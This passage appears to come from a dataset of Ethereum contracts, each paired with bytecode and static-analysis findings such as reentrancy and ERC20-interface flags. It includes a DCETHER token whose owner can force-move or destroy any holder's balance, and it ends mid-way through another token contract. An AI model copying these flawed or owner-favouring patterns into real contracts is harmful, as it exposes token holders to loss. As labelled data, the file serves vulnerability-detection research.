b6000612af660238361205d565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b8860268361205d565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b6000602082019050612bd3600083018461278a565b9291505056fea2646970667358221220d21d5aa0b616dfdcd255e6347f0c17842d78a98d3d0395664d26e953f975c5c664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,937
0x8fd8599b06a13218e6550f5a77961a201543564c
pragma solidity ^0.4.25; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { totalSupply = 12000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "DCETHER"; // Set the name for display purposes symbol = "DCETH"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract DCETHER is owned, TokenERC20 { uint public sale_step; address dcether_corp; address public Coin_manager; mapping (address => address) public followup; /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() TokenERC20() public { sale_step = 0; // 0 : No sale, 1 : Presale, 2 : Crowdsale, 3 : Normalsale dcether_corp = msg.sender; Coin_manager = 0x0; } function SetCoinManager(address manager) onlyOwner public { require(manager != 0x0); uint amount = balanceOf[dcether_corp]; Coin_manager = manager; balanceOf[Coin_manager] += amount; balanceOf[dcether_corp] = 0; Transfer(dcether_corp, Coin_manager, amount); // execute an event reflecting the change } function SetSaleStep(uint256 step) onlyOwner public { sale_step = step; } function () payable public { require(sale_step!=0); uint nowprice = 10000; // Token Price per ETher address follower_1st = 0x0; // 1st follower address follower_2nd = 0x0; // 2nd follower uint amount = 0; // Total token buyed uint amount_1st = 0; // Bonus token for 1st follower uint amount_2nd = 0; // Bonus token for 2nd follower uint all_amount = 0; amount = msg.value * nowprice; follower_1st = followup[msg.sender]; if ( follower_1st != 0x0 ) { amount_1st = amount; // 100% bonus give to 1st follower if ( balanceOf[follower_1st] < amount_1st ) // if he has smaller than bonus amount_1st = balanceOf[follower_1st]; // cannot get bonus all follower_2nd = followup[follower_1st]; if ( follower_2nd != 0x0 ) { amount_2nd = amount / 2; // 50% bonus give to 2nd follower if ( balanceOf[follower_2nd] < amount_2nd ) // if he has smaller than bonus amount_2nd = balanceOf[follower_2nd]; // cannot get bonus all } } all_amount = amount + amount_1st + amount_2nd; address manager = Coin_manager; if ( manager == 0x0 ) manager = dcether_corp; require(balanceOf[manager]>=all_amount); require(balanceOf[msg.sender] + amount > balanceOf[msg.sender]); balanceOf[manager] -= amount; balanceOf[msg.sender] += amount; // adds the amount to buyer's balance require(manager.send(msg.value)); Transfer(this, msg.sender, amount); // execute an event reflecting the change if ( amount_1st > 0 ) // first follower give bonus { require(balanceOf[follower_1st] + amount_1st > balanceOf[follower_1st]); balanceOf[manager] -= amount_1st; balanceOf[follower_1st] += amount_1st; // adds the amount to buyer's balance Transfer(this, follower_1st, amount_1st); // execute an event reflecting the change } if ( amount_2nd > 0 ) // second follower give bonus { require(balanceOf[follower_2nd] + amount_2nd > balanceOf[follower_2nd]); balanceOf[manager] -= amount_2nd; balanceOf[follower_2nd] += amount_2nd; // adds the amount to buyer's balance Transfer(this, follower_2nd, amount_2nd); // execute an event reflecting the change } } function BuyFromFollower(address follow_who) payable public { require(sale_step!=0); uint nowprice = 10000; // Token Price per ETher address follower_1st = 0x0; // 1st follower address follower_2nd = 0x0; // 2nd follower uint amount = 0; // Total token buyed uint amount_1st = 0; // Bonus token for 1st follower uint amount_2nd = 0; // Bonus token for 2nd follower uint all_amount = 0; amount = msg.value * nowprice; follower_1st = follow_who; followup[msg.sender] = follower_1st; if ( follower_1st != 0x0 ) { amount_1st = amount; // 100% bonus give to 1st follower if ( balanceOf[follower_1st] < amount_1st ) // if he has smaller than bonus amount_1st = balanceOf[follower_1st]; // cannot get bonus all follower_2nd = followup[follower_1st]; if ( follower_2nd != 0x0 ) { amount_2nd = amount / 2; // 50% bonus give to 2nd follower if ( balanceOf[follower_2nd] < amount_2nd ) // if he has smaller than bonus amount_2nd = balanceOf[follower_2nd]; // cannot get bonus all } } all_amount = amount + amount_1st + amount_2nd; address manager = Coin_manager; if ( manager == 0x0 ) manager = dcether_corp; require(balanceOf[manager]>=all_amount); require(balanceOf[msg.sender] + amount > balanceOf[msg.sender]); balanceOf[manager] -= amount; balanceOf[msg.sender] += amount; // adds the amount to buyer's balance require(manager.send(msg.value)); Transfer(this, msg.sender, amount); // execute an event reflecting the change if ( amount_1st > 0 ) // first follower give bonus { require(balanceOf[follower_1st] + amount_1st > balanceOf[follower_1st]); balanceOf[manager] -= amount_1st; balanceOf[follower_1st] += amount_1st; // adds the amount to buyer's balance Transfer(this, follower_1st, amount_1st); // execute an event reflecting the change } if ( amount_2nd > 0 ) // second follower give bonus { require(balanceOf[follower_2nd] + amount_2nd > balanceOf[follower_2nd]); balanceOf[manager] -= amount_2nd; balanceOf[follower_2nd] += amount_2nd; // adds the amount to buyer's balance Transfer(this, follower_2nd, amount_2nd); // execute an event reflecting the change } } /** * Owner can move ChalletValue from backers to another forcely * * @param _from The address of backers who send ChalletValue * @param _to The address of backers who receive ChalletValue * @param amount How many ChalletValue will buy back from him */ function ForceCoinTransfer(address _from, address _to, uint amount) onlyOwner public { uint coin_amount = amount * 10 ** uint256(decimals); require(_from != 0x0); require(_to != 0x0); require(balanceOf[_from] >= coin_amount); // checks if the sender has enough to sell balanceOf[_from] -= coin_amount; // subtracts the amount from seller's balance balanceOf[_to] += coin_amount; // subtracts the amount from seller's balance Transfer(_from, _to, coin_amount); // executes an event reflecting on the change } /** * Owner will buy back ChalletValue from backers * * @param _from The address of backers who have ChalletValue * @param coin_amount How many ChalletValue will buy back from him */ function DestroyCoin(address _from, uint256 coin_amount) onlyOwner public { uint256 amount = coin_amount * 10 ** uint256(decimals); require(balanceOf[_from] >= amount); // checks if the sender has enough to sell balanceOf[_from] -= amount; // subtracts the amount from seller's balance Transfer(_from, this, amount); // executes an event reflecting on the change } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610937578063095ea7b3146109c757806318160ddd14610a2c5780631f6dc06c14610a5757806320ceb1bb14610a8457806323b872dd14610ac7578063313ce56714610b4c5780633bd5434414610b7d5780634f86bde214610c0057806370a0823114610c365780638da5cb5b14610c8d57806395d89b4114610ce45780639c7e8ef414610d74578063a9059cbb14610d9f578063be7f899614610dec578063c906cd6814610e43578063cae9ca5114610eb0578063d68e0ff714610f5b578063dd62ed3e14610fa8575b60008060008060008060008060006007541415151561012557600080fd5b61271097506000965060009550600094506000935060009250600091508734029450600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16965060008773ffffffffffffffffffffffffffffffffffffffff161415156103735784935083600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561025657600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493505b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955060008673ffffffffffffffffffffffffffffffffffffffff16141515610372576002858115156102e457fe5b04925082600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561037157600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492505b5b5b82848601019150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1614156103e457600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b81600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561043257600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156104c057600080fd5b84600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561059a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600084111561079657600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561069657600080fd5b83600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555083600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b600083111561092d57600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561082d57600080fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508573ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5050505050505050005b34801561094357600080fd5b5061094c61101f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561098c578082015181840152602081019050610971565b50505050905090810190601f1680156109b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109d357600080fd5b50610a12600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110bd565b604051808215151515815260200191505060405180910390f35b348015610a3857600080fd5b50610a4161114a565b6040518082815260200191505060405180910390f35b348015610a6357600080fd5b50610a8260048036038101908080359060200190929190505050611150565b005b348015610a9057600080fd5b50610ac5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b5565b005b348015610ad357600080fd5b50610b32600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611460565b604051808215151515815260200191505060405180910390f35b348015610b5857600080fd5b50610b6161158d565b604051808260ff1660ff16815260200191505060405180910390f35b348015610b8957600080fd5b50610bbe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c34600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d3565b005b348015610c4257600080fd5b50610c77600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e23565b6040518082815260200191505060405180910390f35b348015610c9957600080fd5b50610ca2611e3b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cf057600080fd5b50610cf9611e60565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d39578082015181840152602081019050610d1e565b50505050905090810190601f168015610d665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d8057600080fd5b50610d89611efe565b6040518082815260200191505060405180910390f35b348015610dab57600080fd5b50610dea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f04565b005b348015610df857600080fd5b50610e01611f13565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e4f57600080fd5b50610eae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f39565b005b348015610ebc57600080fd5b50610f41600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061214f565b604051808215151515815260200191505060405180910390f35b348015610f6757600080fd5b50610fa6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122d2565b005b348015610fb457600080fd5b50611009600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061244e565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110b55780601f1061108a576101008083540402835291602001916110b5565b820191906000526020600020905b81548152906001019060200180831161109857829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ab57600080fd5b8060078190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121257600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561123857600080fd5b60056000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600060056000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114ed57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550611582848484612473565b600190509392505050565b600360009054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000806000806000600754141515156115f157600080fd5b6127109750600096506000955060009450600093506000925060009150873402945088965086600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008773ffffffffffffffffffffffffffffffffffffffff1614151561185e5784935083600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561174157600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493505b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955060008673ffffffffffffffffffffffffffffffffffffffff1614151561185d576002858115156117cf57fe5b04925082600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561185c57600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492505b5b5b82848601019150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1614156118cf57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b81600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561191d57600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119ab57600080fd5b84600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515611a8557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36000841115611c8157600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611b8157600080fd5b83600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555083600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b6000831115611e1857600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611d1857600080fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508573ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b505050505050505050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ef65780601f10611ecb57610100808354040283529160200191611ef6565b820191906000526020600020905b815481529060010190602001808311611ed957829003601f168201915b505050505081565b60075481565b611f0f338383612473565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f9657600080fd5b600360009054906101000a900460ff1660ff16600a0a8202905060008473ffffffffffffffffffffffffffffffffffffffff1614151515611fd657600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff1614151515611ffc57600080fd5b80600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561204a57600080fd5b80600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505050565b60008084905061215f85856110bd565b156122c9578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561225957808201518184015260208101905061223e565b50505050905090810190601f1680156122865780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156122a857600080fd5b505af11580156122bc573d6000803e3d6000fd5b50505050600191506122ca565b5b509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561232f57600080fd5b600360009054906101000a900460ff1660ff16600a0a8202905080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561239757600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561249a57600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156124e857600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561257657600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561278357fe5b505050505600a165627a7a72305820c60820f549d6103f11f3c50cce432716f9b8259e1ffc34fa46f5d2a3db32b45f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,938
0x5cd6c531bd379f4e8ae7294c98d3bd0af34a8d6d
/** *Submitted for verification at Etherscan.io on 2021-07-09 */ /* https://t.me/eMinions https://eminions.io https://twitter.com/eMinions_io https://www.instagram.com/eminions_io https://www.reddit.com/r/eMinions Miniomics : - 1,000,000,000,000 Total Supply - 25% Burn - 75% Liquidity - 0,5% transaction limit on launch - Sells limited to 5% of the Liquidity Pool, <4.9% price impact Taxes & fees : Buys : - 2% redistribution to holders on all buys - 6% developer fee split within the team Sells : - 5% redistribution to holders on first sell and 7% on 2+ sells within 1h - 10% developer & marketing fee on first sell and 15% on 2+ sells within 1h Bot Protection : - Buy limit on launch and cooldown timer on buys ( 30 seconds ) SPDX-License-Identifier: MIT */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 